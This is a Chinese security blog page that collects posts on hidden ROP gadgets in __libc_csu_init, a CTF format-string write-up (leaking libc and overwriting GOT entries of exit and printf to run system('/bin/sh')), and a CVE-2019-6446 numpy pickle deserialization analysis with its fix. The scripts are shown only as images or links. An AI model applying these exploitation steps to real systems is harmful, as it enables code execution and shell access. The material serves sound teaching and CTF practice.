将地址 0x400622 上 pop r15,ret 的三字节指令(0x41 0x5F 0xC3)拆散看,会发现后两个字节组成了一组新的指令 pop rdi,ret。

pop-rdi

这已经足够完成单入参的函数调用了。

通常栈溢出之后,需要进行如下两步:

  • 1、通过类似 puts(puts) 的方式,泄漏libc库函数的地址,从而通过偏移计算出 system 函数和 “/bin/sh” 字符串的地址

  • 2、执行 sytem(“bin/sh”) 获得系统 shell

发现没有?大多数情况我们只需要一个入参的函数调用, __libc_csu_init() 函数最后的这个 pop rdi,ret 可以完美实现上述两个步骤。

空间上,只需要 24 个字节(一个 QWORD 存放 ret 进来的地址,两个 QWORD 作为入参和被调用函数地址)的溢出空间就足够啦。

栈的空间布置如下:

stack-2

那,如果需要调用两个入参的函数呢,这个 Gadget 也行么?是的。

三、隐藏 Gadget:pop rsi,…,ret

将地址 0x400620 上 pop r14 的两字节指令(0x41 0x5E)拆散,会发现后一个字节是单字节指令 pop rsi,可以用来控制第二个入参。

pop-rsi

和前述的地址 0x400623 上的指令 pop rdi,ret组合起来,就可以完成两个入参的函数调用。

pop-rdi-rsi

只需要将栈布置如下就可以啦。

stack

四、总结

  • 1、只要Linux x64 的程序中调用了 libc.so,程序中就会自带一个很好用的通用Gadget:__libc_csu_init()。

  • 2、__libc_csu_init() 的 0x400600 到 0x400624 其中包含了 pop rdi、pop rsi、pop rdx、ret 等指令,通过巧妙的组合可以实现调用任意单参数、双参数、三参数的函数,从而顺利泄漏libc函数地址并且获取系统 shell。

  • 3、__libc_csu_init() 不只是一个通用 Gadget,完全就是“万能 Gadget”!

参考阅读:

[1] 蒸米《一步一步学ROP之linux_x86篇》:https://zhuanlan.zhihu.com/p/23487280

[2] 蒸米《一步一步学ROP之linux_x64篇》:https://zhuanlan.zhihu.com/p/23537552

格式化字符串漏洞攻击实战

发表于 2019-04-09

来源:香依香偎@闻道解惑

cheating 是 CTF 里的一道 PWN 题。主要攻击点就在于格式化字符串漏洞的利用。

一、陷阱

题目中布置了一个陷阱。如果用 IDA 6.8 来分析就很容易陷入陷阱,用 IDA 7.0 分析就会发现一些不一样的地方。

IDA-strcmp

IDA-puts

可以发现,IDA 6.8 识别出的 strcmp、puts 被 IDA 7.0 识别为了 strncmp、printf。用 readelf -r 查看,和 IDA 6.8 的结果一致。

readelf-r

为什么 IDA 6.8 和 readelf 会显示出错误的库函数?原因在于 cheating 文件中的 .dynstr section 进行了特殊处理,布置了一个陷阱。用 readelf -S 看下。

readelf-S

可以看出,cheating 文件的 .dynstr 需要被加载到内存的 0x400490 地址,对应在文件中的 offset 为 0xf91。看下这个 string table 的内容。

dynstr

这个 string table 写的确实是 strcmp 和 puts。细心一点会发现,这两个函数名后面都有多余的0x00,出题者还是留下了一点篡改的痕迹:)

但事实上,加载 ELF 文件时,并不会加载 0xF91 的 string table,而是会加载位于 0x490 位置的 string table,这里才是对应 .dynstr 目标地址 0x400490 的真命天子 。

490

400490

好了,现在我们知道,可以关掉被误导的 IDA 6.8,继续用 IDA 7.0 来分析程序吧。

二、主流程和 sub_400ACC() 的输入检查

首先看一下防御情况。

checksec

cheating 的主函数 sub_400BC0() 如下。

main

函数的逻辑是:

  • 1、调用 sub_400ACC() 进行输入检查
    • 1.1、如果检查不通过,goto 2
    • 1.2、如果检查通过,接收用户输入并传递给 ** printf** 输出,触发格式化字符串漏洞
  • 2、输出bye并退出

如果要触发格式化字符串漏洞,首先需要通过 sub_400ACC() 的检查。看一下这个检查函数。

validation

主要逻辑是:

  • 1、生成一个64字节的字符串,其中前十个字节固定为 “cheating U”, 后54个字节为0-9随机字符。
  • 2、用户输入字符串,与这个随机字符串进行 strncmp,相同则检查通过。

处理了陷阱之后,我们会发现这里的检查函数用的是 strncmp,只比较了十一个字节。排除掉固定前缀 cheating U 的十个字节,也就只剩下一个字节,范围在 0-9。我们选定一个值(比如0),进行多次碰撞就可以了。如果没有识别出陷阱,把这里误以为是 strcmp,发现必须碰撞54个字节的随机值,就只能一头雾水地发呆啦。

攻击脚本如下。

retry-validation

接收到 slogan: 字符串,顺利通过检查!

retry-success

三、格式化字符串漏洞

通过校验之后,回到主函数 sub_400BC0() 的 if 分支内,这里是很明显的格式化字符串漏洞。

main

标准做法,分三步来实现 get shell:

  • 解决程序的退出问题
  • 泄漏 system 和 /bin/sh 的地址
  • 执行 sytem(“/bin/sh”),get shell

3.1 程序退出问题

很显然,printf 执行完成之后,程序就不再接收用户输入,而是继续执行并且退出。我们需要让程序不退出,而是重新回到触发格式化字符串漏洞的地方,以便于进一步的利用。

因此,我们需要找一个地址来改写,修改代码流程。看一下程序段,发现代码段是不能修改的,不过可以修改got表。

sections

很容易想到,把 exit 的 got 表地址改掉,改到 if 分支里,就可以在调用 exit 的时候回到主流程中。

exit-change

exit 的 got 表地址是 0x602078,默认值是 plt 表中 exit 表项中jmp指令的下一条指令地址 0x400846,我们要将这个值,修改为目标地址 0x400BE9。也就是说,需要修改两个字节,将 0x602078地址的两个字节从 0x846 修改为 0xBE9。

exit-got

exit-plt

exit-change-addr

所以,我们构造如下代码。

repeat2main

执行之后,再次接收到 slogan: 字符串,成功将代码流程劫持,可以进入下一步攻击了。

repeat2main_succ

需要注意的是,我们将 exit() 的 got 地址修改为 0x400BE9 之后,实际上是通过一次 call 指令重入了当前函数,也就意味着栈被抬高了一层(call 指令用于保存函数返回地址)。后续继续使用 printf 的格式化字符串漏洞时,每次都会多偏移一个参数的位置,这一点需要注意。

3.2 泄漏 system 和 /bin/sh 的地址

要 get shell,我们需要泄漏出 glibc 中 system() 和 /bin/sh 的地址。在环境提供了 libc.so.6 文件的条件下,我们只需要泄漏出任何一个库函数的地址,都可以通过文件中的偏移来计算出我们想要的符号地址。

看一下 got 表,我们选择 read 函数来泄漏地址。为什么选择 read?回看一下主函数。

main

在存在漏洞的 printf 函数执行前,read 函数已经被调用了,所以此时 got 表中 read 函数的表项中已经保存了它在 glibc 库中的真实地址。

got

也就是说,我们需要泄漏出 0x602050 地址的内容。用 “%s” 就好了。

read_addr

calc_system

成功获取到 system() 和 /bin/sh 的内存地址!

leak-succ

3.3 执行 sytem(“/bin/sh”),get shell

我们已经拿到 system 的地址,还有任意地址写的漏洞,也能布置栈空间。接下来就是看怎样调用 system(“/bin/sh”) 最方便了。

有很多方法可以实现这一步。最常用的方法是,利用 x64 程序的万能 gadget:**init()**函数,通过 ROP 来实现。

init-func

有没有更轻松的方法呢?回看一眼主函数。

main

咦? printf 的入参就是用户输入的 buf。这就意味着,只要我们把 printf 的 got 表改成 system 的地址,下一轮迭代时再发送 “/bin/sh” 的字符串,就可以直接执行 system(“/bin/sh”) 了,很简单是不是:)

查一下 got 表。printf 的地址是 0x602030,我们的目标是将这个地址的内容改写为前面获取到的 system 函数的真实地址。

got-printf

攻击脚本如下:

call-system

执行一下,成功 Get Shell !

get-shell

四、One More Thing

LazyIDA 是 IDA Pro 的一个插件,其中有一个功能是“扫描格式化字符串漏洞 Scan String Format Vulnerabilities”。

scan-string-format

扫描一下看看,很快就找到了漏洞点。

scan-string-format-result

附:

原始程序下载:cheating

攻击脚本链接:pwn_cheating.py

LazyIDA 下载:LazyIDA

CVE-2019-6446 浅析

发表于 2019-03-24

来源:香依香偎@闻道解惑

python 的反序列化

反序列化漏洞通常需要两个条件:

** 1、用户可控的反序列化入口 **

例如 PHP 的 unserialize()、Java 的 readObject() 。

** 2、运行环境中存在调用了危险函数的 magic function **

例如 PHP 的 __wakup()、 __destruct() 以及 Java 的 readObject()。

满足这两个条件的前提下,我们构造第二个条件的对象(也就是 Gadget),并将其序列化后传递给第一个条件的入口,就可以成功触发反序列化漏洞了。

相对而言,第二个条件的利用更难,所以就诞生了 ysoserial 和 marshalsec 这样的 Gadget 生成器。

不过,对于 python 而言,反序列化漏洞的利用就简单多了,因为,python 的反序列化 Gadget 不需要存在于原有的运行环境中,而是可以通过序列化数据直接传递。

看个例子。

01-write

代码将 Test 类的对象序列化到 payload 文件中,其中在 magic function __reduce__() 中注入了恶意命令 ls 。接下来是反序列化。

02-read

看看结果。

03-result

可以看到,序列化到 payload 中的命令 ls 被成功地执行了。

因此,python 的反序列化漏洞利用,只需要满足第一个条件“用户可控的反序列化入口”就好了。

CVE-2019-6446

现在来看看 numpy 的这个 CVE。numpy 是非常流行的用于科学计算的python开源库,包括TensorFlow在内的许多项目都使用了 numpy。

numpy 提供了一个接口 numpy.load(),定义长这样:

04-load

函数里首先打开 file 文件,赋值给 fid

05-file

随后判断文件头。当文件头既不满足 zip 格式也不满足 numpy 格式时,numpy 直接做了一个操作:反序列化。

06-pickle

也就是说,只要我们将恶意的序列化内容传递给 numpy.load() 函数,就可以触发这个漏洞。

07-numpy-read

运行结果是:

08-numpy-run

成功执行了在序列化文件 payload 中注入的 ls 命令。

如何预防

首先,一个通用的原则:不要对不可信的数据进行反序列化。

其次,就 numpy 的这个 CVE 而言,可以注意到在进行反序列化之前有一个判断:allow_pickle。

09-allowpickle

allow_pickle 其实是 numpy.load() 的第三个参数,可选,默认为 True。

10-allowpickle

只要在调用 numpy.load() 的时候,将 allow_pickle 置为 False 就可以避免反序列化操作了。

11-allowpickle-false

12<i class="fa fa-angle-right"></i>
香依香偎

香依香偎

闻道解惑, 香依香偎

13 日志
47 标签
RSS
GitHub E-Mail Weibo
© 2026 香依香偎
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4